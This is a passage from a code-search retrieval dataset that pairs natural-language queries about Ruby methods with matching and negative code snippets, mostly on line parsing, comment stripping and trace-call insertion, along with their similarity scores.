"def strip_comments(line)\n\t\tline.strip!\n\t\t\n\t\tif line.start_with?(COMMENTS[0]) or line.start_with?(COMMENTS[1])\n\t\t\treturn ''\n\t\tend\n\t\t\n\t\tcomment_exists = (0 ... line.length).find_all {|i| line[i, 1] == COMMENTS[0] or line[i, 1] == COMMENTS[1]}\n\t\t\n\t\tif comment_exists.empty?\n\t\t\treturn line\n\t\tend\n\t\t\n\t\tif comment_exists\n\t\t\tline1 = String.new(line)\n\t\t\t#ignore delimiters within the text in the line itself.\n\t\t\t#replace quoted string with ' ' for the length and then remove comments.\n\t\t\t#return original line with the newly calculated index values.\n\t\t\t#asked question in forum and got this idea.\n\t\t\tline.scan(REGEX_STRING).each do |item|\n\t\t\t\tline1.sub!(item,' ' * item.length)\n\t\t\tend\n\n\t\t\tcomment_start = line1.index(COMMENTS[0])\n\t\t\t\n\t\t\tunless comment_start\n\t\t\t\tcomment_start = line1.index(COMMENTS[1])\n\t\t\t\t\tunless comment_start\n\t\t\t\t\t\treturn line\n\t\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\toutput = line[0..comment_start - 1]\n\t\t\t#strip again for whitespace before comment \n\t\t\toutput.strip!\n\t\t\treturn output\n\t\tend\n\t\t#if comment doesn't exist, return the line\n\t\tline\n\tend",
"def line(number)\n end",
"def comment_lines(path, flag, *args)\n flag = flag.respond_to?(:source) ? flag.source : flag\n\n gsub_file(path, /^(\\s*)([^#|\\n]*#{flag})/, '\\1# \\2', *args)\n end",
"def line\n buffer[line_number]\n end",
"def add_comment_line line\n @strings << line\n end",
"def visible_line_number\n return 4\n end",
"def visible_line_number\n return 4\n end",
"def modline(line)\n %Q{<tr class=\"changes line\">} +\n render_comment_count(line) +\n %Q{<td class=\"line-numbers commentable\">#{line.old_number}</td>} +\n %Q{<td class=\"line-numbers commentable\">#{line.new_number}</td>} +\n %Q{<td class=\"code unchanged mod\">#{render_line(line)}</td></tr>}\n end",
"def line_before\n line[0..column - 1].to_s\n end",
"def render_comment(line)\n conditional, line = balance(line, ?[, ?]) if line[0] == ?[\n line.strip!\n conditional << \">\" if conditional\n\n if block_opened? && !line.empty?\n raise SyntaxError.new('Illegal nesting: nesting within a tag that already has content is illegal.', @next_line.index)\n end\n\n open = \"<!--#{conditional}\"\n\n # Render it statically if possible\n unless line.empty?\n return push_text(\"#{open} #{line} #{conditional ? \"<![endif]-->\" : \"-->\"}\")\n end\n\n push_text(open, 1)\n @output_tabs += 1\n push_and_tabulate([:comment, !conditional.nil?])\n unless line.empty?\n push_text(line)\n close\n end\n end",
"def strip_comment(line, opts)\n if m = /^(^)(?:(;|\\#)(\\s*)(.*))$$/.match(line) ||\n m = /^(.*?)(?:\\s+(;|\\#)(\\s*)(.*))$/.match(line) # Comment lines.\n opts[:comment] = m[4].rstrip\n opts[:comment_prefix] = m[3]\n opts[:comment_sep] = m[2]\n # Remove the line content (since an option value may contain a\n # semi-colon) _then_ get the index of the comment separator.\n opts[:comment_offset] =\n line[(m[1].length..-1)].index(m[2]) + m[1].length\n\n line = m[1]\n else\n line.rstrip!\n end\n\n [line, opts]\n end",
"def visible_line_number\r\n return 5\r\n end",
"def possibly_add_trace_info_calls(line)\n # If the current line does not start a logical line, don't bother\n if not @state[:ll_start]\n return line\n end\n\n # We will be making decisions based on the first word on the line\n line_words = line.split\n if line_words.empty?\n # The line is empty, so we disregard it\n return line\n end\n first_word = line_words[0]\n\n # Extract first word and check if it makes us want to refrain from adding a line number call\n if KEYWORDS_WITHOUT_LINE_NUMBERS.include?(first_word)\n # It's one of the statements we don't want\n return line\n\n elsif [\"'\", '\"', \"#\"].include?(first_word[0])\n # The line starts with a string or with a comment\n return line\n end\n\n # Do include a line number call\n return \"#{@state[:indent_string]}garbledwebpiratenlibraryname.debug(locals(), globals())\\n\" +\n \"#{@state[:indent_string]}garbledwebpiratenlibraryname.line(#{@state[:line_number]})\\n\" +\n \"#{line}\"\n end",
"def original_line; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def get_commented_lines(str)\n if str.respond_to? \"gsub!\"\n str.gsub(/^(.+)$/) {|s| \"# \" + s}\n elsif str.respond_to? \"map\"\n str.map {|line| \"# \" + line}\n end\n end",
"def line\n @line ||= Line.get(@attrs['LineCode'])\n end",
"def new_line!(number)\n if @preprocessor.line_first\n @packet.send_packet\n @packet.add_line(number.to_i)\n else\n @packet.add_line(number.to_i)\n @packet.send_packet\n end\nend",
"def current_line_number; end",
"def irrelevant_line?(source_line); end",
"def strip_comments(line)\n line.strip.split(\" \").first\n end",
"def original_line_number(new_line)\n # First of all, convert the line number to an integer\n new_line = new_line.to_i\n\n if @phase == :execute\n # It's the execute phase, so we have more to do\n if @augmented_code.nil?\n # We haven't augmented the code with line numbers or anything\n number_of_prepended_lines = make_runnable(\"\").count(\"\\n\")\n return new_line - number_of_prepended_lines\n\n else\n # Pull the offending line out of the augmented code\n augmented_code_lines = @augmented_code.lines\n if new_line > augmented_code_lines.length\n # We were not able to find the line the error message refers to. Shouldn't happen.\n return \"<unbekannt>\"\n else\n # Check if the line has a line number comment\n ln = PythonCodeAugmenter.extract_line_number(augmented_code_lines[new_line - 1])\n if ln.nil?\n return \"<unbekannt>\"\n else\n return ln\n end\n end\n end\n\n else\n # It's not the execute phase, so we can simply return the line number\n return new_line\n end\n end",
"def line\n 1\n end",
"def _comment\n\n _save = self.pos\n begin # sequence\n _tmp = match_string(\"#\")\n break unless _tmp\n while true # kleene\n\n _save1 = self.pos\n begin # sequence\n _save2 = self.pos\n _tmp = apply(:_eol)\n _tmp = !_tmp\n self.pos = _save2\n break unless _tmp\n _tmp = match_dot\n end while false\n unless _tmp\n self.pos = _save1\n end # end sequence\n\n break unless _tmp\n end\n _tmp = true # end kleene\n break unless _tmp\n _tmp = apply(:_eol)\n end while false\n unless _tmp\n self.pos = _save\n end # end sequence\n\n set_failed_rule :_comment unless _tmp\n return _tmp\n end",
"def skip(a_line)\n @line_cnt ||= 0\n @line_cnt += 1\n 1 == @line_cnt ||\n a_line.empty? ||\n a_line.strip.start_with?('#')\n end",
"def comment?\n return @assigned_paragraph_type == :comment if @assigned_paragraph_type\n return block_type.casecmp(\"COMMENT\") if begin_block? or end_block?\n return @line =~ /^[ \\t]*?#[ \\t]/\n end",
"def line\n @line ||= Line.get(@attrs['Line'])\n end",
"def check_line(filename, line_number, line_content)\n\t\tend",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def _comment\n\n _save = self.pos\n while true # sequence\n _tmp = match_string(\"#\")\n unless _tmp\n self.pos = _save\n break\n end\n while true\n\n _save2 = self.pos\n while true # sequence\n _save3 = self.pos\n _tmp = apply(:_eol)\n _tmp = _tmp ? nil : true\n self.pos = _save3\n unless _tmp\n self.pos = _save2\n break\n end\n _tmp = get_byte\n unless _tmp\n self.pos = _save2\n end\n break\n end # end sequence\n\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_eol)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_comment unless _tmp\n return _tmp\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def defined_line\n # Detect a -1 ip, which indicates a definition entry.\n return @lines[1] if @lines[0] == -1\n first_line\n end",
"def line_has_identifier?(line, id)\n while (index = line.index(String_regex)) != nil\n line.insert(index, line.slice!(String_regex)[0..0])\n line.slice!(/^\"/)\n end\n line.slice!(Comment)\n return line.include?(id)\n end",
"def line_for_position(position); end"
] |
[
"0.7230098",
"0.7230098",
"0.6817237",
"0.668827",
"0.6490199",
"0.6457737",
"0.64105755",
"0.632897",
"0.625587",
"0.6248044",
"0.6209692",
"0.62085605",
"0.6178726",
"0.6109211",
"0.60621935",
"0.6051056",
"0.6017504",
"0.6014734",
"0.6014734",
"0.6014734",
"0.6009569",
"0.5968598",
"0.5952641",
"0.5944865",
"0.59324425",
"0.5918341",
"0.5907989",
"0.5907989",
"0.588964",
"0.58858645",
"0.58641714",
"0.58583623",
"0.58415645",
"0.58408463",
"0.58402777",
"0.58402777",
"0.58402777",
"0.5835241",
"0.58343476",
"0.5831795",
"0.58250135",
"0.5816348",
"0.58097786",
"0.5805872",
"0.5805872",
"0.57782274",
"0.5769795",
"0.5761807",
"0.5743256",
"0.5739737",
"0.5731736",
"0.57296807",
"0.5728249",
"0.57260907",
"0.5718777",
"0.57187426",
"0.57113785",
"0.5708809",
"0.57037705",
"0.5688944",
"0.5688944",
"0.5687036",
"0.5678041",
"0.5673235",
"0.5658892",
"0.56545645",
"0.563562",
"0.56229806",
"0.56067425",
"0.56067425",
"0.56067425",
"0.56067425",
"0.56067425",
"0.56067425",
"0.56067425",
"0.5606649",
"0.55873775",
"0.5587176",
"0.55764276",
"0.5566308",
"0.55597955",
"0.55566114",
"0.5554776",
"0.5553789",
"0.5536686",
"0.55122656",
"0.55011004",
"0.54937804",
"0.54811347",
"0.54811347",
"0.54811347",
"0.54811347",
"0.54811347",
"0.5478339",
"0.54661644",
"0.54661644",
"0.54661644",
"0.5443814",
"0.5443323",
"0.5431899"
] |
0.7699014
|
0
|
Returns a version of the line with calls to the tracing methods prepended. These are calls to send the current line number and values of watched variables back to the server. If this line shouldn't have these calles added, simply returns the line as is.
|
def possibly_add_trace_info_calls(line)
# If the current line does not start a logical line, don't bother
if not @state[:ll_start]
return line
end
# We will be making decisions based on the first word on the line
line_words = line.split
if line_words.empty?
# The line is empty, so we disregard it
return line
end
first_word = line_words[0]
# Extract first word and check if it makes us want to refrain from adding a line number call
if KEYWORDS_WITHOUT_LINE_NUMBERS.include?(first_word)
# It's one of the statements we don't want
return line
elsif ["'", '"', "#"].include?(first_word[0])
# The line starts with a string or with a comment
return line
end
# Do include a line number call
return "#{@state[:indent_string]}garbledwebpiratenlibraryname.debug(locals(), globals())\n" +
"#{@state[:indent_string]}garbledwebpiratenlibraryname.line(#{@state[:line_number]})\n" +
"#{line}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def line\n return 0 unless self.method\n # We subtract 1 because the ip is actually set to what it should do\n # next, not what it's currently doing (unless we are at the start of\n # a new context).\n if self.from_eval? and self.env.caller_env\n ip = self.env.caller_env.registration_ip - 1\n else\n ip = self.ip - 1\n ip = 0 if ip < 0\n end\n self.method.line_from_ip(ip)\n end",
"def line\n return 0 unless @method\n\n ip = @ip\n ip -= 1 unless ip_on_current?\n\n return @method.first_line unless ip > 0\n\n @method.line_from_ip(ip)\n end",
"def build_trace\n if with_bt_set?\n Backtrace.to_s(@with_bt + [first_filtered_bt_line(backtrace)])\n else\n src_line\n end\n end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def project_to_line\n end",
"def line\n end",
"def line\n end",
"def original_line; end",
"def lines_above_method\n added_lines = []\n lines_to_add = []\n block_level = 0\n ensure_line_breaks(controller_content.lines).first(action_line).reverse_each do |line|\n if line =~ /\\s*\\bend\\b\\s*/\n block_level += 1\n end\n if block_level > 0\n lines_to_add << line\n else\n added_lines << line\n end\n if line =~ /\\s*\\b(module|class|def)\\b /\n break\n end\n next unless line =~ /do\\s*(\\|.*?\\|)?\\s*$/\n block_level -= 1\n if block_level == 0\n added_lines.concat(lines_to_add)\n lines_to_add = []\n end\n end\n return added_lines.reverse.join\n end",
"def line(number); end",
"def timing_line(start, stop)\n\t\t@value = \"#{start.to_timing} --> #{stop.to_timing}\"\n\t\treturn self\n\tend",
"def at(line)\n Calls.new(select { |call| line === call.line })\n end",
"def ReportLine(line)\n Builtins.y2milestone(\"%1\", line)\n UI.ChangeWidget(Id(:log_view), :LastLine, Ops.add(line, \"\\n\"))\n\n nil\n end",
"def line_one\n @line_one\n end",
"def __caller_source_line__(caller_depth=0, source_line_count=nil, source_file=nil, source_line_number=nil)\n source_line_number ||= __caller_line_number__(caller_depth+1)\n source_file ||= __caller_file__(caller_depth+1)\n source_line = ''\n if defined?(Pry) && source_file.include?('(pry)')\n @pry_instance ||= Pry.new\n source_line = Pry::Command::Hist.new(pry_instance: @pry_instance).call.instance_variable_get(:@buffer).split(\"\\n\")[source_line_number - 1] # TODO handle multi-lines in source_line_count\n elsif defined?(IRB) && TOPLEVEL_BINDING.receiver.respond_to?(:conf)\n source_line = TOPLEVEL_BINDING.receiver.conf.io.line(source_line_number) # TODO handle multi-lines in source_line_count\n else\n source_line = PutsDebuggerer::SourceFile.new(source_file).source(source_line_count, source_line_number)\n end\n source_line\n end",
"def line\n @line ||= Line.get(@attrs['LineCode'])\n end",
"def line\n puts \"########################################################\"\nend",
"def frame_line(frame_position)\n #This is a stub, used for indexing\n end",
"def print_line(indent_level, string)\n $evm.log(\"info\", \"#{$method}:[#{indent_level.to_s}] #{string}\")\nend",
"def line(number)\n end",
"def line_before\n line[0..column - 1].to_s\n end",
"def tracing()\n #This is a stub, used for indexing\n end",
"def to_line\n [@location.join(', '), @details.join(': ')].join(' - ')\n end",
"def at_line\n resume_pry\n end",
"def line_one\n return @line_one\n end",
"def modline(line)\n %Q{<tr class=\"changes line\">} +\n render_comment_count(line) +\n %Q{<td class=\"line-numbers commentable\">#{line.old_number}</td>} +\n %Q{<td class=\"line-numbers commentable\">#{line.new_number}</td>} +\n %Q{<td class=\"code unchanged mod\">#{render_line(line)}</td></tr>}\n end",
"def link_backtrace_line( line )\n\t\treturn line.strip.sub( /(?<filename>[^:]*\\.rb):(?<line>\\d*)(?<rest>.*)/ ) do\n\t\t\tmatch = $~\n\t\t\tfullpath = File.expand_path( match[:filename] )\n\t\t\t%|<a href=\"txmt://open?url=file://%s&line=%s\">%s:%s</a>%s| %\n\t\t\t\t[ fullpath, match[:line], match[:filename], match[:line], h(match[:rest]) ]\n\t\tend\n\tend",
"def line\n @line ||= Line.get(@attrs['Line'])\n end",
"def trace\n attributes.fetch(:trace)\n end",
"def prev_line; end",
"def prev_line=(_arg0); end",
"def status_line\n\t\tst = self.status || self.derived_status_code\n\t\treturn STATUS_LINE_FORMAT % [ st, HTTP::STATUS_NAME[st] ]\n\tend",
"def get_line\n raise NotImplementedError\n end",
"def augment_code()\n @augmented_code = \"\"\n\n # Configure variable tracing (the variables to be traced are declared at the\n # beginning of the program)\n @augmented_code += generate_tracing_configuration()\n\n # Iterate over the original code's lines\n @code.each_line do |line|\n @state[:line_number] += 1\n\n # Remove trailing whitespace. If the line is not empty, parse and process it.\n line.rstrip!\n if !line.empty?\n # Update our state based on the current line\n parse_line(line)\n\n # Add stuff if necessary\n line = possibly_add_line_number_comment(line)\n line = possibly_add_trace_info_calls(line)\n end\n\n @augmented_code += line + \"\\n\"\n end\n end",
"def convert_line(line_num)\n return '' unless @callouts.key? line_num\n\n @callouts[line_num]\n .map { |num| convert_callout(num) }\n .join(' ')\n end",
"def at_line(context, _file, _line)\n resume_pry(context)\n end",
"def trace\n DSL.new(@source.append(Trace.new))\n end",
"def to_previous_line\n @history.save_line(line || \"\")\n\n if @history.to_previous_line and line = @history.current_line\n replace_line line\n end\n end",
"def push_line(timestamp, logline)\n lines << [timestamp, logline]\n stats[logline.method] += 1\n stats[:requests] += 1\n end",
"def formatted_context_lines\n if @formatted_context_lines.empty? then\n number_width = (\"%d\" % @context_line_numbers.last).length\n @context_lines.each_with_index do |line, idx|\n prefix = (idx == @context_index) ? CallSiteContext.pointer : CallSiteContext.not_pointer\n number = (\"%d\" % @context_line_numbers[idx]).rjust( number_width )\n @formatted_context_lines << \"#{prefix} #{number}: #{line}\"\n end\n end\n return @formatted_context_lines\n end",
"def trace\n set_trace_func proc { |event, _file, _line, id, binding, classname|\n if event == watched && id != :log && classes.include?(classname.to_s)\n vars = variables(binding)\n\n if vars.empty?\n log_this(sprintf(\"%s %-25s #%-20s\",\n class_count, classname, id))\n\n else\n log_this(sprintf(\"%s %-25s #%-20s\\n%s\\n\",\n class_count, classname, id, vars))\n\n end\n end\n } if trace?\n end",
"def line_code\n @attrs['Line']\n end",
"def string\n @line\n end",
"def get_line\n @lines.shift\n end",
"def status_line(line)\n @status_line = line\n unless @ping_from\n # Display this status line.\n STDOUT.write \"\\r\" # Move to the start of this line.\n STDOUT.write line # Write over it.\n STDOUT.flush\n end\n end",
"def method_missing(method, *params)\n raw_line.send method, *params\n end",
"def to_line(details)\n unless record = record_type(details[:record_type])\n raise ArgumentError, \"Invalid record type #{details[:record_type].inspect}\"\n end\n\n if record.respond_to?(:pre_gen)\n details = details.dup\n record.send(:pre_gen, details)\n end\n\n case record.type\n when :text; return details[:line]\n else\n return record.to_line(details) if record.respond_to?(:to_line)\n\n line = record.join(details)\n\n if regex = record.rts\n # If they say true, then use whitespace; else, use their regex.\n if regex == true\n regex = /\\s+$/\n end\n return line.sub(regex,'')\n else\n return line\n end\n end\n end",
"def line\n buffer[line_number]\n end",
"def line\n @session.request(:vim_get_current_line)\n end",
"def line\n\t\t\[email protected](buffer.line.start, buffer.line.end)\n\t\tend",
"def getLine\r\n\t\treturn @Line\r\n\tend",
"def backtrace\n Spec::deprecate(\"ExampleGroupProxy#backtrace\",\"ExampleGroupProxy#location\")\n @backtrace\n end",
"def find_calling_line(trace, method_name)\n trace.each_cons(2) do |line, next_line|\n if /(.*):(\\d+):in .(.*)'/ =~ line && \n $3 == method_name &&\n /(.*):(\\d+):in .(.*)'/ =~ next_line\n return [$1,$2]\n end\n end\n nil\n end",
"def send_log(line, level = :DEBUG)\n log = FastlaneCI::Proto::Log.new(message: line, timestamp: Time.now.to_i, level: level)\n @yielder << FastlaneCI::Proto::InvocationResponse.new(log: log)\n end",
"def to_line(*args)\n raise NotImplementedError.new 'No line conversion method defined!'\n end",
"def detail\n \"#{line}\\n#{' ' * line_offset}^\"\n end",
"def trace!\n request! :trace\n end",
"def set_line_control_data\n\n packhouse = Facility.active_pack_house.facility_code\n @line_id = Line.get_line_for_packhouse_and_line_code(packhouse, @selected_line_code).id\n @runs_on_line = ProductionRun.get_active_runs_for_line(@line_id)\n @editing_runs_on_line = ProductionRun.get_editing_runs_for_line(@line_id)\n\n recent_run_ids=get_recent_rebinning_run_on_line(@runs_on_line)\n puts \"n runs on line: \" + @runs_on_line.length.to_s\n end",
"def modify_lines (code)\n line_number = 0\n event_number = 0\n initial_line_number = @list_of_events[0].line_number\n @list_of_events.each do |modify|\n temp_string = modify.trace\n temp_line = modify.line_number\n line_number = temp_line % initial_line_number\n if code[line_number] == 'newline' || code[line_number] == '\\\\t'\n line_number += 1\n else\n original_line = temp_line.to_s\n new_line = line_number.to_s\n temp_string.gsub! original_line, new_line\n modified_event = Event.new\n modified_event.set_event(temp_string)\n modified_event.set_line(line_number)\n @list_of_events[event_number] = modified_event\n event_number += 1\n end\n end\n end",
"def current_line\n load_rest_of_line\n backup.current_line\n end",
"def exec_env_current_line\n get('insert linestart', 'insert lineend')\n end",
"def current_line\n @lines[@current_index]\n end",
"def line_cache; end",
"def new_line!(number)\n if @preprocessor.line_first\n @packet.send_packet\n @packet.add_line(number.to_i)\n else\n @packet.add_line(number.to_i)\n @packet.send_packet\n end\nend",
"def line\n 1\n end",
"def line\n lines.line(y)\n end",
"def progress_line; end",
"def add_line(line)\n @tip.string_content += line.slice(@offset, line.length) + '\\n'\n end",
"def source_line; end",
"def ruling_lines\n get_ruling_lines!\n end",
"def stack_trace\n trace = @context_stack.reverse.map do |context|\n next if context.context_type == :base\n ['Line', context.line_number.to_s, 'in', context.context_type.to_s, context.path, context.name, ':', context.line].compact.join(' ')\n end.compact\n if stacked? && expanded_lines && expanded_lines.size > 1\n trace.unshift ['Line', expanded_line_number, 'in', 'request expansion', ':', expanded_line].join(' ')\n end\n trace\n end",
"def previous_code_line(line_number); end",
"def current_line_number; end",
"def gather_call_parms( line, p )\n\n return if line.length < 2 #empty line, just a \\n\n\n _line = line[7..71]\n\n if _line =~ / USING +.*$/\n $&.split.each do |parm|\n p << parm.tr( \"\\.\", '' )\n end\n else # we've past the USING phrase\n _line.split.each do |parm|\n p << parm.tr(\"\\.\", '')\n end\n end\n print \"DEBUG: gather_call() > #{p}\\n\" \n\n $stmt_ends_in_dot = true if endof_curr_stmt?( _line )\nend",
"def to_next_line\n @history.save_line(line || \"\")\n\n if @history.to_next_line and line = @history.current_line\n replace_line line\n end\n end",
"def draw_line; draw_horizontal_line(@draw_y + (line_height / 2) - 1, 2); end",
"def puts(line)\n events.stream_output(:profiler, line+\"\\n\")\n end",
"def status_line\n @response_impl.status_line\n end",
"def prev_line\n CSI + 'A' + column(1)\n end",
"def line\n\t\tl = @name\n\t\t(1..25).each do |i|\n\t\t\tl += \" &\"\n\t\t\tif i <= @number then\n\t\t\t\tl += \" \\\\!$\\\\times$\"\n\t\t\tend\n\t\tend\n\t\tl += \" \\\\\\\\\\n\"\n\t\treturn l\n\tend",
"def to_line_string lr\n str = lr.from.line.to_s.dup\n if lr.from.line != lr.to.line\n str << \",\" << lr.to.line.to_s\n end\n str\n end",
"def render_line(line)\n raise NotImplementedError\n end",
"def call(severity, timestamp, progname, msg)\n \"#{format(msg)}#{Lumberjack::LINE_SEPARATOR}\"\n end",
"def add(context, line)\n\t\t\t@lines << @line.new(context, line)\n\t\tend",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end"
] |
[
"0.62964934",
"0.60811275",
"0.59508646",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.5837636",
"0.57413137",
"0.57348585",
"0.57348585",
"0.56791013",
"0.559832",
"0.55819815",
"0.5558672",
"0.5556624",
"0.5538086",
"0.5524221",
"0.551343",
"0.5512501",
"0.5507597",
"0.5507385",
"0.5507133",
"0.54803205",
"0.5455127",
"0.54317164",
"0.542224",
"0.54156756",
"0.54090697",
"0.5408446",
"0.5405218",
"0.53872615",
"0.5386088",
"0.53742397",
"0.5343024",
"0.5340006",
"0.5335321",
"0.5322727",
"0.53123224",
"0.53120005",
"0.5311666",
"0.5306836",
"0.52972335",
"0.529103",
"0.52744216",
"0.52687764",
"0.5252358",
"0.52498055",
"0.5237735",
"0.52243704",
"0.5206543",
"0.5193019",
"0.51766044",
"0.5174746",
"0.51732516",
"0.516397",
"0.515421",
"0.5149509",
"0.5147256",
"0.51382416",
"0.5126982",
"0.5125451",
"0.5120345",
"0.5107209",
"0.5099724",
"0.50874305",
"0.5087088",
"0.50734675",
"0.507317",
"0.50599515",
"0.5058046",
"0.50540006",
"0.504754",
"0.5040953",
"0.5037332",
"0.50351775",
"0.5029465",
"0.5012656",
"0.50101763",
"0.50094277",
"0.49965122",
"0.49943686",
"0.49929425",
"0.499259",
"0.49890786",
"0.4986565",
"0.49828386",
"0.49794874",
"0.4969743",
"0.4969743"
] |
0.73472583
|
0
|
Parses the current line and updates our current state. That state is what several of our decisions depends on when it comes to deciding whether or not to add certain debug information. Note: This method expects to be called on a line that has had trailing whitespace removed.
|
def parse_line(line)
# If the previous line didn't and a logical line, we're not going to start one. If it did,
# we're indeed going to start a new logical line
@state[:ll_start] = @state[:ll_end]
# We will start with the assumption that we're going to end the current logical line. We may layer
# find out that we did not, in fact, do so.
@state[:ll_end] = true
# Reset the line continuator flag the the last line may have set to true
@state[:line_continuator] = false
# Find the first non-(space/tab) character
index = 0
while index < line.length && [" ", "\t"].include?(line[index])
index += 1
end
@state[:indent_string] = line[0...index]
# Iterate over the line's characters as long as there are any. We use different iteration
# methods depending on whether we're inside a string or not
index = 0
while index < line.length
if @state[:in_string].nil?
index = parse_characters_normal(line, index)
else
index = parse_characters_in_string(line, index)
end
end
# We have reached the end of the line. Decide whether or not the logical line ends here.
@state[:ll_end] = @state[:in_string].nil? && @state[:open_braces] == 0 && !@state[:line_continuator]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse!\n set :line => @line\n @context.run_with_current(&self.class.get_parsable)\n self\n end",
"def parse_line\n s0 = @scanner.pos\n match_spaces\n s2 = parse_te\n if s2 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n match_spaces\n s4 = @scanner.pos\n s5 = parse_fugou\n if s5 == :failed\n @scanner.pos = s4\n s4 = :failed\n else\n s6 = parse_from\n if s6 == :failed\n @scanner.pos = s4\n s4 = :failed\n else\n @reported_pos = s4\n s4 = transform_teban_fugou_from(s2, s5, s6)\n end\n end\n if s4 == :failed\n s4 = @scanner.pos\n s5 = []\n s6 = match_regexp(/[^\\r\\n ]/)\n while s6 != :failed\n s5 << s6\n s6 = match_regexp(/[^\\r\\n ]/)\n end\n @reported_pos = s4\n s4 = s5.join\n end\n if s4 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n match_spaces\n s6 = parse_time\n s6 = nil if s6 == :failed\n match_str('+')\n if parse_nl == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n @reported_pos = s0\n s0 = { 'move' => s4, 'time' => s6 }\n end\n end\n end\n s0\n end",
"def add_parsed_line (parsed_line)\n value_hash = parsed_line[:line_definition].convert_captured_values(parsed_line[:captures], self)\n value_hash[:line_type] = parsed_line[:line_definition].name\n value_hash[:lineno] = parsed_line[:lineno]\n add_line_hash(value_hash)\n end",
"def process_line(line)\n @line = line\n if line =~ /^=/ then\n process_heading_line(line)\n elsif (listtype = special_list_line_type(line)) then\n special_list_line(listtype, line)\n elsif line =~ /^\\s*:/ then\n special_list_continuation_line(line)\n else\n @interp.normal_line(line)\n end\n end",
"def parse_line(line)\n results = LineRegexp.match(line)\n if results \n @elements[:line] = results[-1]\n results[-1] # remaining line \n else\n @elements[:line] = line\n line \n end\n end",
"def parse_line(line)\n catch :line_parsed do\n UNDERSTOOD_ROWS.each do |record_type|\n if line.start_with?(record_type)\n send \"parse_#{record_type.downcase}_line\", line.chomp\n throw :line_parsed\n end\n end\n\n if line[0].eql?('/')\n parse_comment_line line.chomp\n throw :line_parsed\n end\n\n logger.error \"Can't understand line: #{line.chomp.inspect}\"\n end\n end",
"def process_line(line, index)\n\n # there should be a check for interpolation here, and just run a simple replace for each line\n\n if !indented?(line)\n $context = $root\n add_selector_or_property(line, index)\n # check here for @import, @font-face, and @keyframes\n else\n\n set_default_indent(line) if $default_indent.nil?\n\n if indent_level(line) == $context.indent + 1\n add_selector_or_property(line, index)\n elsif indent_level(line) < $context.indent + 1\n $context = find_context($context.parent, line)\n add_selector_or_property(line, index)\n else\n throw \"Flagrant code error! You indented line #{index} too far\"\n end\n\n end\n\nend",
"def _parse_line(line, config_hash, overrides)\n line.strip!\n line = _strip_comment(line)\n\n if line.empty?\n # Nothing to do here\n return\n end\n\n section = _get_section_title(line)\n if section\n _process_section(section, config_hash)\n return\n end\n\n key_value_hash = _get_key_value_hash(line)\n if key_value_hash\n unless $_current_section\n raise 'Key-value pair must be part of a section'\n end\n _process_key_value(key_value_hash, config_hash, overrides)\n return\n end\n\n raise 'Malformed config file: ' << line\n end",
"def clean(incoming_line)\n @current_line = incoming_line.split(\" \")\n end",
"def parse _line, _next_lines\n raise NotImplementedError, self\n end",
"def parse_line(lineno, tokens)\n #need to look in the ::TAGS hash for tags that match the level this line is on.\n #Annoyingly, Level 0 has the data and the TAG, reversed for xrefs. \n current_level = @parse_state.level\n new_level = tokens.level\n \n if current_level > new_level\n #Reduce the parse state stack until we are at the new level\n while current_level > new_level\n current_level -= 1\n @parse_state.pop\n end\n process_line(lineno, tokens) #We are now at the same level, so we process the line\n elsif current_level == new_level\n process_line(lineno, tokens) #We are already at the same level, so we just process the line\n elsif current_level < new_level\n raise \"Level increased by more than 1 (current_level = #{current_level}, new_level = #{new_level})\"\n end\n end",
"def add_line(line)\n unless @parsing\n if line =~ /^(---|\\+\\+\\+) (.*)$/\n self.file_name = $2\n elsif line =~ /^@@ (\\+|\\-)(\\d+)(,\\d+)? (\\+|\\-)(\\d+)(,\\d+)? @@/\n @line_num_l = $2.to_i\n @line_num_r = $5.to_i\n @parsing = true\n end\n else\n if %r{^[^\\+\\-\\s@\\\\]}.match?(line)\n @parsing = false\n return false\n elsif line =~ /^@@ (\\+|\\-)(\\d+)(,\\d+)? (\\+|\\-)(\\d+)(,\\d+)? @@/\n @line_num_l = $2.to_i\n @line_num_r = $5.to_i\n else\n parse_line(line, @type)\n end\n end\n return true\n end",
"def process_line(line)\n if @state.include?(:data)\n process_data_line(line)\n elsif @state.include?(:auth_plain_incomplete)\n process_auth_plain_line(line)\n elsif @state.include?(:auth_login_incomplete)\n process_auth_login_line(line)\n else\n process_command_line(line)\n end\n [email protected]?(:quit) # return true unless QUIT is given\n end",
"def line=(line)\n @parsed_rules.line = line if @parsed_rules\n super\n end",
